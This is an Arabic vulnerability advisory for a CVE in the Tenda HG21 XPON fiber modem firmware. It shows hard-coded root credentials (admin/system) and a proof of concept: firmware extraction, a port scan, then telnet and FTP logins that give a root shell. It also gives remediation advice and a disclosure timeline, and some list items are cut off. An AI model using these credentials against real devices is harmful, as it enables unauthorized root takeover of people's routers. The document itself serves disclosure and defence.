
إثبات مفهوم يوضح بيانات اعتماد الجذر المضمنة (admin/system) في البرنامج الثابت لمودم Tenda HG21 XPON، مما يتيح الوصول غير المصرح به إلى الجذر عبر telnet أو FTP.
| الحقل | القيمة |
|---|---|
| معرف CVE | CVE-2026-38577 |
| البائع | Tenda |
| المنتج | Tenda HG21 (مودم XPON للألياف) |
| الإصدار المتأثر | V4.0.0-260302 |
| مفتاح المنتج | HG21-V1.0-TDE01 |
| إصدار العتاد | V1.0 |
| تاريخ بناء البرنامج الثابت | 2026-03-02 |
| ملف البرنامج الثابت | US_HG21re_300002982_en_xpon_2.zip |
| فئة الثغرة | CWE-798: استخدام بيانات اعتماد ثابتة (Hard-coded Credentials) |
| مكتشف الثغرة | Anmol Singh Rajput — باحث أمني مستقل |
| حالة الإفصاح | لم يتم إخطار البائع بعد وقت حجز CVE — ينطبق إطار الإفصاح المسؤول لمدة 90 يومًا من تاريخ تعيين CVE |
كشف تحليل البرنامج الثابت لمودم Tenda HG21 XPON للألياف عن حساب إداري ثابت مدمج في صورة البرنامج الثابت المشحونة. يُمنح الحساب صلاحيات جذر كاملة (UID 0) وبيانات اعتماده ثابتة عبر جميع الأجهزة، مما يعني أن أي مهاجم يمكنه الوصول إلى خدمة إدارة مكشوفة على جهاز ضعيف يمكنه المصادقة كجذر دون الحاجة إلى معرفة كلمة مرور واجهة الويب التي يحددها العميل.
/etc/passwd في البرنامج الثابت المستخرج يشحن إدخال admin مع
تجزئة كلمة مرور SHA256crypt تتطابق مع القيمة الثابتة system.0 — أي أنه هو الجذر، وليس حساب خدمة مقيدًا./etc/shadow، لذا فإن التجزئة الضعيفة/الثابتة في passwd هي
البوابة الوحيدة التي تحمي الحساب./etc/inetd.conf يشغّل telnetd وftpd، وكلاهما يُطلق كجذر، لذا
فإن الحساب الثابت قابل للوصول عبر الشبكة، وليس فقط عبر وحدة تحكم
تسلسلية/UART.يمكن للمهاجم الذي لديه وصول شبكي إلى خدمة telnet (TCP/23)
أو FTP (TCP/21) على جهاز ضعيف تسجيل الدخول كـ admin باستخدام كلمة المرور
الثابتة والحصول على قشرة جذر / وصول ملفات بمستوى الجذر. وهذا يسمح، على الأقل، بـ:
متجهات CVSS من التقديم الأصلي (قد يختلف تقييم البائع بمجرد النشر):
هذا إثبات مفهوم قائم على بيانات الاعتماد — يوضح أن الحساب الثابت يُصادق ويمنح صلاحيات الجذر، وليس استغلالًا لفساد الذاكرة. شغّل هذا فقط ضد جهاز تملكه أو مصرح لك باختباره صراحةً.
# استخراج البرنامج الثابت (binwalk أو أداة البائع التي تختارها)
binwalk -e US_HG21re_300002982_en_xpon_2.bin
# تحديد وفحص ملف passwd
find . -name passwd
cat squashfs-root/etc/passwd
# -> admin:<sha256crypt-hash-of-"system">:0:0:root:/root:/bin/sh
nmap -p 21,23 <target-ip>
telnet <target-ip>
# login: admin
# password: system
ftp <target-ip>
# Name: admin
# Password: system
تسجيل الدخول الناجح على أي من الخدمتين يعيد قشرة/جلسة FTP بصلاحيات جذر
(سيُبلغ id عن uid=0(root)).
admin/system الثابت بالكامل،
أو على الأقل فرض كلمة مرور عشوائية فريدة لكل جهاز تُعيّن عند أول
تشغيل (غير قابلة للاشتقاق من الرقم التسلسلي وحده).telnetd/ftpd افتراضيًا؛ وطلب اشتراك صريح
وقناة مشفرة ومصادقة (SSH/SFTP) للإدارة عن بُعد.| التاريخ | الحدث |
|---|---|
| 2026-03-02 | إصدار بناء البرنامج الثابت الضعيف |
| — | الاكتشاف أثناء تحليل البرنامج الثابت المستقل |
| 2026-04-09 | حجز CVE-2026-38577 عبر MITRE |
| — | إخطار البائع معلق (نافذة إفصاح 90 يومًا من تعيين CVE) |
اكتُشفت وأُبلغ عنها بواسطة: